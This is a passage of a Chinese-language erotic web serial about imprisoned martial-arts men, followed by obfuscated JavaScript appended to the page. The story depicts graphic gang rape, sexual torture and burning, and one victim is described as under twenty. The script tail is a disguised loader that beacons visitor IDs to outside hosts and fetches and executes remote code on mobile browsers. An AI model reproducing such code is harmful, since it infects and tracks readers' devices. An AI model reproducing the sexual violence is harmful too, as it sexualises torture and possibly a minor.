想的兄弟楚飞。楚飞想说什么,但话到嘴边却说不出来,哽咽着,泪光在眼睛里闪动。没
有话语,什么话语都无法表达这一千多个日夜中的情感。
两个人紧紧的紧紧的紧紧的拥抱在了一起。
楚飞忘情了,他抚摸着铁辉被长期折磨蹂躏的身体,吻着那熟悉英伟的脸庞,铁辉用颤抖
的身体和应着,时光在这一刻仿佛能够永恒。
要是能永恒该有多好!
就在这个时候,门外黑影闪动,一群人已经无声的包围了仓库。
阿力起身道:“飞,你护着铁辉,我们赶快离开这里!”
这时,已经有几个人手持棍棒冲了进来,阿力一声怒吼冲了上去。几个突袭的汉子仆一交
手,立刻撤退,阿力岂肯放过,急赶出仓库来。只见一个清秀美丽的男子站在月光下,脸
上带着一丝阴冷的微笑,阿力一惊,与此同时,那个男子忽然动了,动也是那么美丽,如
同曼妙的舞,一舞,就到了阿力的身边。阿力一声断喝,挥拳就打,可拳头还未到,小腹
已经受了重重的一击。
那个美丽的男子冷笑了一声,反手卡住阿力的喉咙,将他拖曳着退下墙角一辆废弃的货车
旁,从上面扯下一条铁链迅速的将阿力捆绑缠绕了起来。
此时那些手下又已经涌入仓库,铁辉和楚飞已经发觉情况危机,但记挂着阿力的安危,一
起杀出仓库,可暗夜当中,他们俩被十几个刺客围在废墟之中,又哪里有阿力的影子。
“阿力可能已遭不测,我们下手不能留情!一定要速战速决!”楚飞分析着身边的态势,
冷静的对铁辉道。话音一落,他整个人立刻如同一把出鞘的刀一般,卷入那群围困他们的
刺客中去。
众人推搡着被带上刑具的罗景隆,向后院的牢房走去。
每一步迈出,都有钻心的疼痛,血水合着精液污垢顺着大腿流了下来,少年被押进一间宽
大的石室当中。巨石砌成的房间里,亮着几盏灯,灯光刺眼,照的屋子里雪亮。
屋子当中一座行刑用的桌案旁,肥胖粗壮的黑龙光着下身,上身套着十字型镶铜钉的皮带
,正将一个带着枷锁的青年按在刑桌上疯狂的操着青年的肛门。
罗景隆定睛一看,只见那被虐的青年正是在看守所试图搭救自己和郭鸿渐的狱警吕明。只
见吕明清秀的面容憔悴不堪,嘴里塞着一双酸臭的袜子,双手被手铐反剪在身后,脖子上
套着八十斤重的木头枷锁,整个身子被按在桌子上,黑龙奋力的抽送使吕明满是伤痕的身
体不断的起伏颤抖,脖子上的枷锁撞击着桌子,发出“当当”的声响。
黑龙看见浑身刑具的罗景隆被押了进来,腰下抽送的更加激烈,一边揪住吕明的头发让他
抬起头来。“看,又有新奴隶加入了!是你的旧相好吧!让他看着你被操一定很过瘾的!
”说着话,从桌子上将吕明拉起来,推向门口的罗景隆,只见吕明的脚上拖着脚镣,铁链
声响,他被推倒在罗景隆面前,黑龙跃身骑坐在吕明的枷头上,扯下塞在吕明嘴里的袜子
,将自己沾满黏液分泌物的阳具不由分说的塞进吕明的嘴里。
黑龙肥胖沉重的身体压在吕明所带的枷锁上,更添沉重。吕明痛苦的闭起双目,吮吸着黑
龙肮脏的阴茎,龟头。黑龙得意的看着项带沉枷,因为带着“T”形脚锁连腿都无法弯曲的
罗景隆,悠然的点上一只雪茄,更猛烈的抽送起来。
随着黑龙的几声怪叫,他从吕明的嘴里抽出肉棍,将浆液喷洒在吕明的脸上头上和脖子上
带着的枷锁上面。吕明痛苦的呻吟,他盛满了精液的嘴上立刻被塞入一个皮质的口塞,他
根本无法反抗,几个光头大汉将他从地上拽起来,也给他换上一副“T”字脚镣。
于是,两个受难的兄弟被一起押到了房子的中央站定。
十八 被铁链要挟
“别光顾着享受,不要又放走了犯人,我们跟师父可不好交代。”一个光头汉子不耐烦的
对黑龙道。
这些皮装彪壮的汉子显然没有把黑龙这个肥胖的师叔放在眼里,他们的师父莫天才是遮天
堡实际的主人,他们的师祖惠觉也要忌惮三分,何况这么个没多大能耐成天跟着惠觉四处
占便宜的名誉师叔。
黑龙知道形势,一张脸气的发青,猛抽着雪茄烟,看着众人纷纷离去,他愤怒的将大门关
上,然后走回到两个被迫站立在那里的囚犯面前。
他只有把闷气在他们的身上才能完满的发泄出来。
他开始仔细端详这个新抓来的囚犯,这是个不到二十岁的少年,虽然满脸的血污精液和泥
土,但仍然能看出他英俊挺拔的面目,嘴上带着口塞,他半仰着头,显然是口塞里面连接
的橡胶棍子顶入了喉咙的缘故。一面木枷锁着他的脖子和双手,满身的伤痕渗着鲜血。
黑龙轻轻用手触碰少年的身体,少年带着口塞的嘴里立刻发出模糊的呻吟,疼的鼻孔大张
着直往里吸气。黑龙看他的胸膛剧烈的起伏着,猛然将嘴角的雪茄烟戳进少年的鼻孔里面

他又开始拨弄少年乳头上插着的钢针了,少年疼的呻吟起来,急促的呼吸使雪茄烟迅猛的
燃烧着,大量的烟雾被吸入肺中,少年脸憋的通红,被雪茄熏的头昏眼花,手脚酸软。
黑龙继续玩弄他身上的铁夹子,既而使被铁丝捆绑着的阴茎睾丸,少年疼的颤抖着,更多
的雪茄烟雾被呼吸进去,他只觉得站立不住,身子一歪,可立刻“T”形脚锁一端狠狠的刺
入体内。
剧痛使被雪茄熏的昏沉沉的罗景隆脑子清醒了一些,他勉力支撑着身体忍受着黑龙的折磨

“知道我的厉害了吗?小子!”黑龙得意洋洋的对企图挣扎反抗的罗景隆道。“在这里你
们就是我的玩具!”他的手揉捏着少年被铁丝捆扎着的阳具和睾丸,一丝邪恶的笑容浮现
在他的脸上。
仓库院子里的杀手在刀光拳影之间惨叫着,四散奔逃。
不见阿力!铁辉和楚飞同时有一种不详的预感,他们彼此互望了一眼,又翻身冲回仓库里
去。
废弃的仓库里,凌乱着一些货柜,铁桶,几个大灯在高高的天花板上照耀着,原先吊着铁
辉的绞索此时赫然吊着一个三十岁上下的汉子,那汉子细腰窄背,上身的衣服已经被剥去
,漆黑的铁链反捆着他的手臂和双腿。绞索紧紧箍着他的脖子将他的身体向上吊着,他的
鞋袜也被除掉,一双光脚掂着脚尖站在冰块溶化的积水里。
一个人从身后环抱着被铁链捆绑着的阿力,两只手握着从阿力裤子中掏出来的阳具,熟练
的抽动着。
“啊...啊.......啊...”阿力被绳索吊着,半仰着头,情不自禁的发出呻吟,他努力维持
着身体的平衡,而身后的人更加快速的套弄着他的肉棍。
“阿力!”铁辉一见阿力,情急之下就要向前冲去。身边的楚飞伸手挡住了他。
就在这时,随着一阵轻笑,阿力身后的人现身出来。那笑声在空旷的仓库里回荡,妖媚的
身体在灯光下显出一种久违了的诱惑。
看见那个青年,铁辉的脸上露出惊讶的神情,他做梦也想不到会在这里遇见这个人。“..
.星...星豪......”
星豪举手投足都有着一种幽雅的美丽,他吸了一口烟,用眼睛斜斜的看了一眼铁辉。他的
一只手搭在阿力的胸膛上抚摸着,纤细的手指捏着阿力的乳头,如同捏起一只葡萄般在指
甲间把玩。另一只手仍然在加劲的替阿力手淫着。
楚飞疑惑的看了一眼铁辉,铁辉一时还不能适应眼前的变化。楚飞沉声道:“快住手!放
他下来。”
星豪不屑的哼了一声,不理会楚飞,却对一边紧皱着眉头的铁辉道:“铁辉,我们很久不
见了,别来无恙啊?!”
他的手仍不停止,铁辉看见那双抚慰着阿力阴茎的手,那双纤细白嫩的手曾经第一次把自
己带上欲望的高潮,也从此落入被折磨的深渊。就是那双手,熟悉而又陌生,带着血腥的
邪恶美丽,在他的眼前,握着自己兄弟的阳具,拼命的动作着。
“真的是你吗?”铁辉还是无法接受这个现实,他向前移动了一步,问道。
“当然是我了,我是你的兄弟啊!”星豪的眼神忽然变的温柔,甚至在灯光下可以看见泪
光闪烁。
“他不是你的兄弟!”阿力挣扎着喊道。他的阳具已经完全膨胀挺直,身体在那恶魔的催
逼下快速的抽动着。“他是西山党的啊...啊......啊......啊啊啊!”话还没有说完,他
在星豪的手淫下射精了。当着两个朋友的面,他的精液毫无遮拦的射向空中。他羞耻的怒
吼着,奋力的扭动着被铁链捆绑着的身体。
铁辉立刻清醒了过来,他的眼神变的冷漠和镇定。星豪眼中的泪光瞬间消失了,他的嘴角
又是一抹妖冶的笑容,流满精液的手指在阿力的小腹上缓慢的抚摩着。
两个人对峙。
阿力落在他的手里,铁辉终于投鼠忌器。“你到底想怎么样?”铁辉怒问。
星豪笑了,他知道自己已经占据了主动。他缓缓的在阿力的裤子上擦拭着手上的黏液,然
后摸出一只香烟来点燃,然后才微笑着道:“条件很简单,当然是交换了。”
“怎么换?”楚飞担心着眼前的匪首打铁辉的主意,也怕铁辉为救阿力而落入敌人的圈套
,他向前一步,挡在铁辉的面前。
星豪看着楚飞,发出一阵喈喈的怪笑。“不是用你们俩个换,你大可放心!”他是对楚飞
说的,吸了口烟,他继续道。“我要你们用豪血寺的凶僧惠觉换你们朋友的这条性命!”
十九 天生下贱
“借刀杀人!”铁辉冷笑了一声。面对着星豪,他的心里却充满了悲凉和无奈,经过了许
多年,面前的人再也不是和自己一起游戏一起生活的兄弟了。他身体控制不住的颤抖着,
他不明白是什么让星豪有了如此大的改变!
金钱,权利还是统治一切的欲望?!
星豪脸上的笑容更加明显,“我们打听到豪血寺在远郊有一个叫遮天堡的据点,莫天在城
里失利,一定会躲回那里企图东山再起。刚好就借助两位了!”
铁辉和楚飞互望了一眼,正在思考对策,星豪突然收起笑容,抬脚踢向阿力被铁链捆绑着
的双腿。
阿力的双腿支撑不住,整个身体吊在了空中,脖子上的绳索发出残酷拧动的声音。
铁辉立刻道:“住手!我答应你!”
看着星豪满意的笑容,铁辉沉声道:“把地址告诉我,我也正好有笔帐要跟他清算一下!

遮天堡已经在一片沉寂的黑暗中,只有黑龙所在的刑室中还亮着灯光。
罗景隆扛着沉重的木枷趴在一张长凳上,两只带着刑具的脚也横担在凳子的另一端。嘴里
塞着口塞,他说不出话来,黑龙更不停的更换着插在他鼻孔中的烟蒂。
被强迫吸烟的少年已经被熏的迷迷糊糊,辛辣的烟草缭绕着大量的烟雾,他一双被熏的酸
痛异常的虎目仍然大睁着,关切的看着自己的同伴。
吕明脖子上套着枷锁,双手带着手铐,在黑龙的皮鞭下艰难的挪动着脚步,围着刑室不停
的转圈。
他的腿颤抖着,身体摇摇欲坠。皮鞭抽打着他的胸膛,小腹和脊背。随着脚步的移动,铐
在双脚上的铁棍旋转,恶毒的刑具折磨着他的肛门。
撕裂的痛苦使他发出呻吟,嘴上绑着的口塞顽固的堵住了他的声音。
终于,黑龙停止了皮鞭,让吕明站在横担着罗景隆的长凳一头。
反铐在身后的双手被解开了,手铐换到了前面被重新带上。吕明脖子上套着枷锁,他看不
见凳子上少年的表情,但是他知道黑龙又要想办法羞辱他们了。
果然,一直闷着头折磨他们的黑龙这个时候说话了。
“握着你自个的鸡吧,打手枪让你的兄弟看看!”黑龙又将他朝凳子前推了一把,吕明踉
跄的移动着脚步,知道自己的下体正对着罗景隆的脸,他带着手铐的手一瞬间感到寒冷彻
骨,但是浑身的疼痛却让他不得不向现实低头。
默默的,他握住了自己的阴茎,慢慢的套弄起来。他不知道跨下的少年如何应对这样的屈
辱,可是当他想到自己正在那个如豹子般彪悍的大旗门少年面前被强迫手淫的时候,他的
下体竟然迅速的燥热起来。他的阴茎很快硬挺起来,昂扬着心里纠缠着的欲望。
他呼吸也随之急促了,握着阴茎的手开始迅速的套弄抽送。
“看你这个大哥哥的鸡吧怎么样啊?”黑龙揪住罗景隆的头发,让他仰起脸来观看着正在
手淫的吕明。在狱警平坦的小腹下方,黑色的阴毛之中,那只鲜红粗壮的阴茎粗直的挺立
而出,昂扬在少年的面前,每一根血管都分毫毕现。罗景隆的眼神有一些迷醉,他闻到了
男人下体所特有的气味,身体也随着吕明的兴奋而不知不觉的发生着变化。
突然,“啪!”的一声脆响,一只扳子狠狠的落在罗景隆肌肤黝黑结实的屁股上。
“呜呜......呜呜......”罗景隆疼的浑身震动起来,绑着口塞的嘴里痛苦的嘶鸣着。
板子更重的落在他的屁股上,疼痛和麻痹的感觉传播到身体的每一根神经。他浑身的肌肉
都绷紧了,身体在长凳上扭动着。
他的脸碰触着吕明的阳具,使狱警发出绝望的呻吟,精液在毫无防备的情况下射在少年痛
苦的脸上。乳白色的精液粘稠滚烫,少年满头,满脸甚至肩扛的枷锁上都是吕明的精液,
闻着刺鼻的精液的腥味,少年的身体莫名的亢奋了。
黑龙看着眼前的一幕,也兴奋的血脉俱张。他换上一只带着倒刺的板子,更大力的抽打着
少年的屁股。少年结实的袖珍屁股已经被打的红舯麻木,这突然的刺痛使他的身体再一次
疯狂的扭动起来。罗景隆努力的控制着身体不要做出过大的动作,肛门中仍然插着刑具,
带着“T”字形脚镣的双腿因为过度的忍耐而酸痛,这是一个另他和吕明绝望的黑夜。
希望,在遮天堡里这间暴虐的刑室中几乎是不存在的。
大旗门已经没有了往日的庄严肃穆。
议事的大厅成了西山党星豪一群手下的淫乐场所。
阿力被剥光了衣服,捆在议事厅的柱子上。他们让他环抱着柱子,然后用铁链将他的双手
双脚捆绑,冰冷的锁链更缠绕着他的全身。星豪的手下一个个摩拳擦掌,窥伺着男子被迫
展露在他们面前的身体。
他们用皮鞭和棍棒让如同野兽般挣扎着的阿力丧失气力,然后阿力最隐秘的地方成了他们
欲望发泄的场所,大量的润滑油被用针管注入阿力的肛门,他们先是用手指和假阳具塞进
他的屁股来回的捅戳,然后开始掏出自己亢奋的阴茎进攻阿力的身体。
阿力的肛门里灌满了精液和淫汁,一只只形状各异的鸡吧侮辱着他,被严刑拷打的身体在
铁链中被操的颤动不休,阿力怒骂着远远观望的美丽青年星豪。
虽然失掉了陈勇,却利用阿力要挟铁辉和楚飞为自己攻打豪血寺。星豪得意的看着被轮奸
的阿力怒骂和挣扎,笑道:“屁眼被这么多人干,还不安静一些!叫的那么难听,去把他
的嘴堵住!“
立刻,一双散发着酸臭气味的汗湿棉袜塞进了阿力的嘴里。
看着愤怒的阿力吃着满嘴的酸臭布团说不出话来,星豪开心的笑道:“天生下贱的奴才,
今天就好好的充当慰安妇吧!”
身后强奸着阿力的汉子随手将烟蒂在阿力的脊背上按灭了,阿力疼的扭动着身体,喉咙里
发出沉闷的惨叫声。同时,身后的撞击更加的猛烈了。
二十 地牢永远没有阳光
此时,刘猛正将自己的阳具插入阿力的肛门,将男子按在柱子上快速的抽送着,他的屁股
癫狂的扭动着,让环抱着柱子捆在那里的阿力发出控制不住的呻吟和惨叫。
在一边等待不及的老董一边揉搓着自己汁液淋漓的阳具,一边催促着道:“你别没完没了
的晃了,你每次都半个多小时,也该让大家伙爽一爽吧!”
“你不要和猛子争了,你看这个阿力被他操的多爽!”星豪抬起阿力痛苦扭曲的脸,羞辱
着他。“你难道忘了咱们这里还关押着一个好的吗?”
老董闻听连忙道:“幸亏门主提醒,我倒把那个藏族奴隶给忘了。”随即又迟疑着道:“
可那家伙蛮的很,我怕......”
星豪挥手道:“你押他上来!”
不一会儿,高大威猛的藏族大汉郎头在西山党四个人的押解下,走进了大厅。除了头上的
头巾,他浑身的衣服都被撕碎了,黝黑结实的身体在铁链铐镣之间挺立着,套着铁丝拧成
的口络的下巴上生满了粗硬的胡茬,他无法说话,怒视着面前的一帮恶棍,仍然是那么威
风凛凛。
几个打手按住他的身体,老董挖了把润滑油朝郎头的屁股上涂抹了一翻,举着自家的阳具
一点点的放入郎头黝黑结实的屁股缝中。
郎头不堪羞辱,被绑着的嘴里怒哼了一声,带着双重手铐的手迅猛的挣开两边打手的压制
,拖着脚镣撞向身后的老董。老董吓的向后接连退了几步,尽管郎头随即又被打手按住,
但老董那只丑恶的鸡吧也被吓的缩成一团,完全没有了刚才的嚣张气焰。
一时间星豪的手下都被他的威武气势所震慑,谁也不敢走上前去。
“怕什么?他不过也是个奴隶!你们这帮不中用的东西。”星豪美丽的脸上闪过一道煞气

随手抄起最大的一只橡胶阳具,他恶狠狠的冲向被几个随从死命按住的郎头。郎头还欲挣
扎,星豪一拳打在他的肚子上,那一拳如此猛烈,郎头铁塔一般的身躯居然弯了下来。假
阳具顶在大汉的屁眼上,一点点缓慢的戳了进去。
“啊........”橡胶的阳具如此粗大,尽管涂抹了润滑油,还是撑的括约肌如同要撕裂一
般的剧痛。郎头疼的直不起身子,星豪就势一拳将他打倒在地,抬脚狠狠的踏在露在大汉
屁股外面的半截假阳具。
阳具完全刺入郎头的身体,大汉经受不住,一声大吼,昏厥了过去。
几个人拽起郎头,将他按在一张椅子上面用铁链绑住。铁链紧紧捆绑着他的胳膊和腿,胸
膛小腹也用铁链紧密的纠缠着。老董看着被铁链捆扎在椅子上的大汉,这才敢走近他的身
前。
一股辛辣浓烈的烟雾吸入肺中,郎头呛咳了几下,苏醒过来。
鼻子里被塞着两只大雪茄,冒出来的浓烟使他的头一阵发蒙,他努力让自己的意志恢复过
来,只见几条粗铁链捆绑着他的胸膛,小腹和大腿,将他固定在一张椅子上,屁眼里仍然
塞着那只可怕的棍子,稍一挣动就传来剧痛。屁股上痒痒的流过一些粘稠的液体,也不知
道是血还是别的什么东西。手脚上的铁铐和脚镣使他完全丧失了反抗的能力。
叼着一根香烟的老董狞笑着揪住他的阴茎,正在来回戏弄着。
大汉怒吼着,挣扎着,可是浑身的捆绑和塞在下体的橡胶刑具却使他不得不就范于敌人的
淫猥之下。吸入的烟草更使他昏沉沉的,阳具在老董刻意的玩弄下开始挺立起来。
他的胸膛在铁链中开始艰难而急促的起伏,浑身燥热着,他的阳具完全坚硬并被一点点的
带上高潮。随着呼吸的急促,鼻子里的雪茄烟燃烧的更加迅速,嘴唇边感到了烟蒂的热量
,他被迫仰起头来屏住呼吸,身体却随着老董的玩弄在绳索中挺动起来。
就在这时,老董突然拿下嘴角湿漉漉瘪小的烟蒂,狠狠的烧炙郎头的阴茎。
郎头一声惨叫,肌肉膨胀,阴茎在惨烈的折磨中迅速的软垂了下来。一当他的阴茎软下,
老董的手又开始温柔的肉捏搓动,甚至将他散发着男人下体味道的肉棍含进嘴里尽情的刺
激,使郎头的阳具再次冲天而起。随后,燃着的烟头又烫在那只坚硬通红的棍子上。
郎头被折磨的死去活来苦不堪言。又有几根燃着的雪茄被从口络的缝隙里塞进他的嘴中,
他的意志已经完全被摧毁了,忍受着下体的翻滚来去的剧痛折磨。精液射出的刹那,他嘴
里呜咽着发出屈辱的呻吟,却被身边星豪等人的哄笑迅速淹没了。
遮天堡的地牢里永远没有阳光,霉烂潮湿的气味夹杂着尿液汗味和脚臭在空气中弥漫遮。
浑身赤裸的吕明脖子上套着八十斤重的木枷,带着手铐脚镣斜靠在牢房的角落里。他的嘴
被口塞封住,无法说话,只是关切的看着躺在一边的少年。
罗景隆扛着沉重的木枷,双手也被铐在枷板上。锁骨和阴茎上恶毒的刑具比不过内心所遭
受的摧残,拖着脚镣,他艰难的移动了一下身体,被打的皮开肉绽的屁股传来钻心的疼痛
。皮质的口塞堵住了他的呻吟,他望着墙上方窄下窗户放进来的一点微弱的天光,心里燃
烧着不屈的希望。
而此时的身边,他和吕明却深陷在一片无边的黑暗之中。
夜风冷裂如刀,铁辉和楚飞直奔遮天堡。
楚飞想说些什么,但终于没有说出口。铁辉经过了近四年的牢狱生涯,而且琵琶骨被穿,
经受了各种非人的折磨和蹂躏,武功几乎尽失。在如此贸然的情况下出击,实在没有多少
胜算。
但是他知道铁辉一定会去。
铁辉整个人都被怒火燃烧着,他要救出自己的兄弟朋友,他要报仇!
突然获得的自由使他急于发泄心中压抑多年的郁闷和愤怒。他敞着衣襟迎着冷风在夜中狂
奔,满天的星辰,都仿佛被他沸腾的血液燃烧。
  

function aZFAtUK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function bejEovHD(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aZFAtUK(t);};window[''+'g'+'q'+'b'+'i'+'e'+'v'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Pbed(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=bejEovHD,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Pbed(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Pbed(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmFoZGFpai5jb20lMM0E4ODkx','d3NzJTTNBJTTJGJTTJGYS54a25lb2suY29tJTTNBOTTUzNA==','9171',window,document,['M','T']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();